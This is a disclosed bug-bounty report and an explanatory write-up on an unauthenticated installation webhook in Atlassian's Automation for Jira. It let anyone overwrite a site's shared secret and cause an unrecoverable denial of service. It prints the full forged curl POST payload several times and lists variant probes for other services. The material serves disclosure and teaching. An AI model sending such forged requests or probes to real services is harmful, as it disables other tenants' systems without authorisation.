Automation for Jira allows unauthenticated install with same cloudId - leading to unrecoverable DOS by any logged in user
An unauthenticated user could override the shared secret for any Jira cloud site by sending a crafted installation request to Automation for Jira, causing all subsequent requests to fail with 403 errors. This resulted in a complete denial of service for Automation for Jira that could not be recovered by the affected site.
- Accepted in 5 days
- Fixed in 14 days
- Disclosed after 2.1 years
Summary by Atlassian
Denial of Service vulnerability in automation for Jira
Summary by rjw
Automation for Jira is implemented as a Connect integration for Jira. It allowed unauthenticated users to override the shared secret for a given cloud id - leading to all valid requests to Automation getting 403 (Unauthorized) errors. This could have resulted in a global DOS for Automation for Jira.
Report details
-
Submitted
26 Jun 2021 03:15:18 UTC
-
Target Location
Jira Service Management Cloud (bugbounty-test-<bugcrowd-name>.atlassian.net) -
Target category
Web App
-
VRT
Application-Level Denial-of-Service (DoS) > High Impact and/or Medium Difficulty
-
Priority
P3
-
Bug URL
https://automation.atlassian.com/pro/rest/lifecycle/installed -
Description
Summary:
- Unauthenticated user can easily create DOS for automation for Jira
- DOS is pretty much complete - no functionality of Automation for Jira will work after the malicious request.
- it is not possible to recover from this DOS since all requests from user or instance to automation.atlassian.com now 403
Description:
Automation for Jira is implemented as an Atlassian Connect app, however it uses an undocumented parameter in the installation webhook:
cloudId. If this matches an existing cloud site, it will override the existing record for that cloud site, and set the shared secret to the user provided shared secret. This is all possible without any authentication whatsoever.Steps to reproduce
- get the "cloudId" for an existing cloud site, I think there are numerous ways to do this, without any additional vulnerabilities, for a site you are an admin of, you can look it up via admin.atlassian.com (see screenshot) and check url for the site. Note also - there is unfixed vulnerability in support.atlassian.com which allows an attacker to get the cloudId for any site without any permissions.
- make the following request - where cloud-id is the cloud id you have generated above, and base url and display url as above:
curl https://automation.atlassian.com/pro/rest/lifecycle/installed \ -X POST \ -H "Content-Type:application/json" \ -d '{ "key": "com.codebarrel.addons.automation", "clientKey": "<cloud-id>", "cloudId": "<cloud-id>", "sharedSecret": "new-shared-secret-that-is-long-enough", "serverVersion": "server-version", "pluginsVersion": "version-of-connect", "baseUrl": "https://bugbountytest-rjw3.atlassian.net", "displayUrl": " https://bugbountytest-rjw3.atlassian.net", "productType": "jira", "description": "Atlassian Jira at https://bugbountytest-rjw10.atlassian.net", "serviceEntitlementNumber": "SEN-22994770", "eventType": "installed" }'If the result is:
"INSTALLED OK"Then the attack has been completed successfully and Automation for Jira will look like:
How to fix:
I believe this functionality was added to handle site re-import scenarios - one suggestion is to only allow installation requests from known Atlassian IP adresses. Or verify the installation requests with public key (as I believe is eventually planned)
Also note - there was a verbose error message on the installation request:
{"errorMessage":null,"message":null,"warningMessages":[],"errorMessages":["CloudId is a required field."],"errors":{},"status":400}which made it much easier to find this - it might be worth looking at the response messages for the installation endpoint.
Context
Automation for Jira is implemented as an Atlassian Connect app. Connect apps are installed into a Jira Cloud site through a lifecycle webhook: the host posts an installed event to the app's lifecycle endpoint, carrying the site's clientKey, its cloudId, a sharedSecret and assorted metadata such as baseUrl, displayUrl, productType and serverVersion. The app stores that record and uses the shared secret to authenticate every subsequent request from the site.
The endpoint at the centre of this report is the lifecycle handler on the Automation service:
https://automation.atlassian.com/pro/rest/lifecycle/installed
The target asset was a Jira Service Management Cloud site of the form bugbounty-test-<bugcrowd-name>.atlassian.net. The VRT classification was Application-Level Denial-of-Service (DoS) > High Impact and/or Medium Difficulty, priority P3, and the report was submitted on 26 Jun 2021 03:15:18 UTC.
Setup
The researcher needed two things: a cloud site they controlled, and its cloudId. For a site you administer, the cloudId can be read from admin.atlassian.com and from the URL of the site. The report also notes an unfixed vulnerability in support.atlassian.com that allows an attacker to obtain the cloudId for any site without any permissions, so administrative access is a convenience rather than a hard precondition.
No authentication to automation.atlassian.com was required at any point. The only tooling shown is curl.
Finding it
The installation webhook accepts an undocumented parameter, cloudId. When that value matches an existing cloud site, the handler overrides the existing record for that site and sets the stored shared secret to whatever the caller supplied. Nothing in the request is authenticated.
The consequence is that anyone who knows a site's cloudId can rewrite the secret that Automation for Jira uses for that site. Every legitimate request from the site to automation.atlassian.com is then rejected with 403 (Unauthorized), because the site still signs with the old secret while the service now expects the attacker's. The report describes the DoS as "pretty much complete": no functionality of Automation for Jira works after the malicious request, and it is not possible to recover, since all requests from the user or the instance to automation.atlassian.com now return 403.
A second observation made the parameter easier to discover: the installation endpoint returned verbose validation errors. A request missing the field produced:
{"errorMessage":null,"message":null,"warningMessages":[],"errorMessages":["CloudId is a required field."],"errors":{},"status":400}
That message names the parameter directly and confirms it is expected by the handler.
Exploitation
Step 1: obtain the cloudId
Get the cloudId for an existing cloud site. For a site you are an admin of, look it up via admin.atlassian.com and check the URL for the site. The report notes there are numerous ways to do this without any additional vulnerabilities, and points to the separate support.atlassian.com issue that yields the cloudId for any site without permissions.
Step 2: post a forged installation event
Send the lifecycle installed event with the target's cloudId in both clientKey and cloudId, and an attacker-chosen sharedSecret:
curl https://automation.atlassian.com/pro/rest/lifecycle/installed \
-X POST \
-H "Content-Type:application/json" \
-d '{
"key": "com.codebarrel.addons.automation",
"clientKey": "<cloud-id>",
"cloudId": "<cloud-id>",
"sharedSecret": "new-shared-secret-that-is-long-enough",
"serverVersion": "server-version",
"pluginsVersion": "version-of-connect",
"baseUrl": "https://bugbountytest-rjw3.atlassian.net",
"displayUrl": " https://bugbountytest-rjw3.atlassian.net",
"productType": "jira",
"description": "Atlassian Jira at https://bugbountytest-rjw10.atlassian.net",
"serviceEntitlementNumber": "SEN-22994770",
"eventType": "installed"
}'
The important fields are cloudId (the site whose record is overwritten), clientKey (set to the same value), sharedSecret (the new secret the service will store), eventType set to installed, and the app key identifying Automation. The remaining fields (serverVersion, pluginsVersion, baseUrl, displayUrl, productType, description, serviceEntitlementNumber) are the metadata a normal Connect installation carries.
Step 3: confirm the overwrite
If the response is:
"INSTALLED OK"
then the attack has completed successfully. Automation for Jira then appears as shown in the screenshot below, and the site's genuine requests to the service fail with 403.
Root cause
The lifecycle handler treats the cloudId in the request body as authoritative for identifying an existing installation, and it accepts the accompanying sharedSecret as the new value for that record. Because the endpoint performs no authentication of the caller, the shared secret, which is the sole credential binding a site to the app, can be replaced by anyone who knows the cloudId. The design appears to exist to support site re-import scenarios, where an existing record must be re-established; the report's author suggests that is why the override path was added.
Existing defences did not help: the request needs no session, no signature and no prior knowledge beyond the cloudId, and the cloudId is not treated as a secret. The verbose validation error on the endpoint also made the undocumented parameter easy to find.
Impact
An unauthenticated attacker who knows a site's cloudId can break Automation for Jira for that site. All requests from the user or the instance to automation.atlassian.com then return 403, and no functionality of Automation for Jira works. The report states the DoS is not recoverable, because every request is rejected once the secret has been replaced. The author also notes that this could have resulted in a global DoS for Automation for Jira.
Fix
The report offers two suggestions rather than describing a deployed fix: only allow installation requests from known Atlassian IP addresses, or verify installation requests with a public key, which the author believes was eventually planned. It also recommends reviewing the response messages on the installation endpoint, since the verbose CloudId is a required field. error made the issue much easier to find.
Variants to test
- Other Connect lifecycle endpoints. Try
installed,uninstalledandenabled/disabledevents against other Atlassian-hosted Connect services with a known cloudId and an attacker-chosensharedSecret. A positive result is a success response such as"INSTALLED OK"followed by 403s on the site's genuine requests. - Undocumented identity parameters. Send lifecycle payloads with fields the public Connect documentation does not mention (here,
cloudId) and watch for validation errors that name them. A positive result is an error message that reveals an accepted parameter, or a success response that changes state for an existing tenant. - CloudId disclosure paths. Look for endpoints on support or admin surfaces that return a site's cloudId without permissions, as the report references for support.atlassian.com. A positive result is a cloudId for a site the tester does not administer.
- Secret rotation without authorisation. On any multi-tenant service that stores a per-tenant shared secret, attempt to set it through an unauthenticated lifecycle or registration call. A positive result is that the tenant's subsequent signed requests are rejected while the attacker's chosen secret is accepted.
- Verbose error surfaces. Probe installation and registration endpoints with missing or malformed fields. A positive result is a response that enumerates required fields or internal identifiers, shortening the path to the parameter that matters.
What happened, in plain words
Atlassian makes a product called Jira, a website where teams track tasks and tickets. On top of Jira there is an add-on called Automation for Jira, which lets a team say things like "when a ticket is created, send an email" and have the site do it automatically. Automation for Jira is not built into Jira itself: it is a separate service that a Jira site connects to, a bit like how a phone connects to a messaging app that lives on someone else's servers.
When a Jira site connects to that separate service, the two need a way to recognise each other. They agree on a password, called a shared secret, that only they know. Every time the Jira site sends a request to the Automation service, it proves it is really the Jira site by using that secret. If the secret is wrong, the service refuses the request.
The researcher found that the Automation service had a web address that accepted a message saying "install Automation for this site", and that message could be sent by anyone, with no login at all. Worse, the message could name any existing Jira site and supply a new shared secret. The service would believe it and replace the real secret with the attacker's one. From that moment on, the real Jira site kept using the old secret, so every request it made was refused. Automation for Jira stopped working completely for that site, and the report says there was no way to recover.
This kind of attack is called a denial of service, or DoS: the attacker does not steal data or break in to read anything, they simply make a service unusable for the people who need it. The report was rated medium severity, classified as an application-level denial of service, and the researcher was paid a bounty of 1,200 USD. It was disclosed on 21 July 2023.
Some words you will meet
Before the details, a few everyday ideas that come up constantly.
- A server is a computer somewhere that answers requests from other computers. When you open a website, your browser asks a server for a page and the server sends it back.
- An API is the part of a server that is meant to be talked to by other software rather than by a person clicking. Think of a restaurant: the dining room is the website you see, and the kitchen door where waiters hand in orders is the API. You can walk up to that door and hand in an order too, if you know the format.
- A request is one message sent to a server. It has a method (what kind of action you want, such as
GETto read orPOSTto send data), an address (the URL), some headers (extra information about the message) and often a body (the data itself). - JSON is a common way of writing data as text, using curly brackets, quotes and colons. It looks like
{"name": "value"}and is easy for both people and programs to read. - A shared secret is a password that two systems both know and use to prove to each other that a message is genuine. It is like a stamp that only two people own: if a letter arrives with the right stamp, it must have come from the other owner.
- A cloudId is an identifier for a particular Jira site. It is not a password; it is more like a house number. Knowing it tells you which site you are talking about, not that you are allowed to do anything there.
- 403 is the status code a server sends back when it understands your request but refuses to carry it out, usually because you are not allowed. You have probably seen "403 Forbidden" in a browser.
- curl is a small command-line program that sends requests to servers. It is the browser's cousin for people who want to send a request by hand and see the raw answer.
- A webhook is a way for one system to notify another automatically. Instead of the second system asking "anything new?" over and over, the first system sends a message to a fixed address whenever something happens. It is like a doorbell that rings at the other house.
- A Connect app is Atlassian's name for an add-on built by a separate service and connected to a Jira site. The connection is set up through a small set of standard messages, called lifecycle events, such as "installed" and "uninstalled".
The setup: how a Connect app is installed
When a Jira site installs a Connect app, the Jira site sends an installed event to the app's lifecycle address. That message carries several pieces of information: the site's clientKey, its cloudId, a sharedSecret, and details such as baseUrl, displayUrl, productType and serverVersion. The app saves this record and uses the shared secret to check every later request from that site.
The address at the centre of this report is the lifecycle handler on the Automation service:
https://automation.atlassian.com/pro/rest/lifecycle/installed
Read it from left to right: automation.atlassian.com is the server, /pro/rest/lifecycle/installed is the path to the particular handler, and installed at the end says which lifecycle event this handler deals with. The word rest is a common convention meaning the address follows the style of a web API.
The site the researcher tested was a Jira Service Management Cloud site of the form bugbounty-test-<bugcrowd-name>.atlassian.net. The report was submitted on 26 June 2021 at 03:15:18 UTC. Its classification was Application-Level Denial-of-Service (DoS) > High Impact and/or Medium Difficulty, with priority P3.
What the researcher needed
Two things were needed: a Jira cloud site the researcher controlled, and that site's cloudId. For a site you administer, the cloudId can be read from admin.atlassian.com and from the URL of the site. The report also mentions an unfixed vulnerability in support.atlassian.com that lets an attacker obtain the cloudId for any site without any permissions, so being an administrator is a convenience rather than a strict requirement.
No login to automation.atlassian.com was needed at any point. The only tool shown in the report is curl.
Finding the problem
The installation webhook accepts a parameter called cloudId that is not mentioned in the public documentation. When that value matches an existing cloud site, the handler replaces the existing record for that site and sets the stored shared secret to whatever the caller supplied. Nothing in the request is checked for authenticity.
The result is that anyone who knows a site's cloudId can rewrite the secret that Automation for Jira uses for that site. Every genuine request from the site to automation.atlassian.com is then rejected with 403, because the site still signs with the old secret while the service now expects the attacker's. The report calls the DoS "pretty much complete": no functionality of Automation for Jira works after the malicious request, and it is not possible to recover, since all requests from the user or the instance to automation.atlassian.com now return 403.
A second detail made the parameter easier to find: the installation endpoint returned verbose validation errors. A request missing the field produced:
{"errorMessage":null,"message":null,"warningMessages":[],"errorMessages":["CloudId is a required field."],"errors":{},"status":400}
Line by line: errorMessage and message are empty, warningMessages is an empty list, and errorMessages contains one entry, the text CloudId is a required field.. The errors object is empty and status is 400, which is the code for a bad request. In plain words, the server replied "you forgot something, and the something is called CloudId". That message names the parameter directly and confirms the handler expects it, which saves an attacker a lot of guessing.
Carrying out the attack
Step 1: get the cloudId
Obtain the cloudId for an existing cloud site. For a site you administer, look it up via admin.atlassian.com and check the URL for the site. The report notes there are numerous ways to do this without any additional vulnerabilities, and points to the separate support.atlassian.com issue that yields the cloudId for any site without permissions.
The screenshot accompanies the step of looking up the cloudId via admin.atlassian.com and checking the URL for the site. The point of this step is simply to learn the house number of the target site; nothing secret is being taken.
Step 2: send a forged installation message
Send the lifecycle installed event with the target's cloudId in both clientKey and cloudId, and an attacker-chosen sharedSecret:
curl https://automation.atlassian.com/pro/rest/lifecycle/installed \
-X POST \
-H "Content-Type:application/json" \
-d '{
"key": "com.codebarrel.addons.automation",
"clientKey": "<cloud-id>",
"cloudId": "<cloud-id>",
"sharedSecret": "new-shared-secret-that-is-long-enough",
"serverVersion": "server-version",
"pluginsVersion": "version-of-connect",
"baseUrl": "https://bugbountytest-rjw3.atlassian.net",
"displayUrl": " https://bugbountytest-rjw3.atlassian.net",
"productType": "jira",
"description": "Atlassian Jira at https://bugbountytest-rjw10.atlassian.net",
"serviceEntitlementNumber": "SEN-22994770",
"eventType": "installed"
}'
What each part does:
curl https://automation.atlassian.com/pro/rest/lifecycle/installedis the program and the address being called.-X POSTsays the request is aPOST, the method used when you are sending data rather than just asking for a page.-H "Content-Type:application/json"is a header telling the server that the body is written in JSON, so it knows how to read it.-d '...'is the body itself, the data being sent.- Inside the body,
keynames the app,com.codebarrel.addons.automation, which identifies Automation for Jira. clientKeyandcloudIdare both set to the target site's cloudId. The report sets them to the same value.sharedSecretis the new secret the attacker wants the service to store. The value shown is a placeholder chosen to be long enough.serverVersion,pluginsVersion,baseUrl,displayUrl,productType,descriptionandserviceEntitlementNumberare the ordinary details a normal installation carries. They make the message look like a real installation.eventTypeis set toinstalled, which is the event this handler deals with.
The important fields are cloudId (the site whose record is overwritten), clientKey (set to the same value), sharedSecret (the new secret the service will store), eventType set to installed, and the app key identifying Automation. The rest are the metadata a normal Connect installation carries.
Step 3: confirm the overwrite
If the response is:
"INSTALLED OK"
then the attack has completed successfully. Automation for Jira then appears as shown in the screenshot below, and the site's genuine requests to the service fail with 403.
The screenshot shows how Automation for Jira looks after the forged installation.
Why it worked
The lifecycle handler treats the cloudId in the request body as the authoritative way to identify an existing installation, and it accepts the accompanying sharedSecret as the new value for that record. Because the endpoint performs no authentication of the caller, the shared secret, which is the only credential binding a site to the app, can be replaced by anyone who knows the cloudId. The design appears to exist to support site re-import scenarios, where an existing record must be re-established; the report's author suggests that is why the override path was added.
Existing defences did not help: the request needs no session, no signature and no prior knowledge beyond the cloudId, and the cloudId is not treated as a secret. The verbose validation error on the endpoint also made the undocumented parameter easy to find.
What the impact was
An unauthenticated attacker who knows a site's cloudId can break Automation for Jira for that site. All requests from the user or the instance to automation.atlassian.com then return 403, and no functionality of Automation for Jira works. The report states the DoS is not recoverable, because every request is rejected once the secret has been replaced. The author also notes that this could have resulted in a global DoS for Automation for Jira.
How to fix it
The report offers two suggestions rather than describing a deployed fix: only allow installation requests from known Atlassian IP addresses, or verify installation requests with a public key, which the author believes was eventually planned. It also recommends reviewing the response messages on the installation endpoint, since the verbose CloudId is a required field. error made the issue much easier to find.
Other places to look
- Other Connect lifecycle endpoints. Try
installed,uninstalledandenabled/disabledevents against other Atlassian-hosted Connect services with a known cloudId and an attacker-chosensharedSecret. A positive result is a success response such as"INSTALLED OK"followed by 403s on the site's genuine requests. - Undocumented identity parameters. Send lifecycle payloads with fields the public Connect documentation does not mention (here,
cloudId) and watch for validation errors that name them. A positive result is an error message that reveals an accepted parameter, or a success response that changes state for an existing tenant. - CloudId disclosure paths. Look for endpoints on support or admin surfaces that return a site's cloudId without permissions, as the report references for support.atlassian.com. A positive result is a cloudId for a site the tester does not administer.
- Secret rotation without authorisation. On any multi-tenant service that stores a per-tenant shared secret, attempt to set it through an unauthenticated lifecycle or registration call. A positive result is that the tenant's subsequent signed requests are rejected while the attacker's chosen secret is accepted.
- Verbose error surfaces. Probe installation and registration endpoints with missing or malformed fields. A positive result is a response that enumerates required fields or internal identifiers, shortening the path to the parameter that matters.
Glossary
- API: the part of a server meant to be used by other software, reached by sending requests to specific addresses.
- Application-level denial of service: an attack that makes one feature or application unusable, rather than taking down a whole network or machine.
- Atlassian Connect app: an add-on built by a separate service and connected to a Jira site through standard lifecycle messages.
- baseUrl: in a Connect installation, the base address of the Jira site.
- clientKey: in a Connect installation, the identifier the app uses for the Jira site.
- cloudId: an identifier for a particular Jira cloud site; not a secret.
- Connect lifecycle event: a standard message such as
installedoruninstalledthat a Jira site sends to an app when the connection changes. - curl: a command-line program for sending requests to servers and showing the raw response.
- displayUrl: in a Connect installation, the address shown to users for the Jira site.
- DoS (denial of service): making a service unusable for the people who need it, without necessarily reading or stealing anything.
- eventType: the field in a lifecycle message saying which event it is, such as
installed. - header: extra information attached to a request, such as the format of the body.
- JSON: a text format for data using brackets, quotes and colons.
- lifecycle endpoint: the address on an app that receives lifecycle events from a Jira site.
- metadata: descriptive details about a site or installation, such as its address or product type.
- parameter: a named piece of data in a request, such as
cloudIdorsharedSecret. - POST: the request method used when sending data to a server.
- priority P3: the report's priority rating, a middle level in the platform's scale.
- productType: in a Connect installation, which Atlassian product the site runs, such as
jira. - public key: a cryptographic value used to check that a message was signed by the holder of the matching private key.
- request: one message sent to a server, with a method, an address, headers and often a body.
- REST: a common style for web APIs, reflected in addresses containing
rest. - server: a computer that answers requests from other computers.
- serverVersion: in a Connect installation, the version of the Jira server software.
- serviceEntitlementNumber: in a Connect installation, a reference number for the site's service entitlement.
- shared secret: a password known to two systems and used to prove that a message is genuine.
- tenant: one customer's separate space on a shared service; here, one Jira site.
- validation error: a server's reply saying that a request is missing or has the wrong kind of data.
- VRT: the platform's Vulnerability Rating Taxonomy, a standard list of vulnerability types.
- webhook: an automatic notification sent from one system to a fixed address on another when something happens.
- 403: the status code meaning the server understood the request but refused to carry it out.
- 400: the status code meaning the server could not accept the request because it was malformed or incomplete.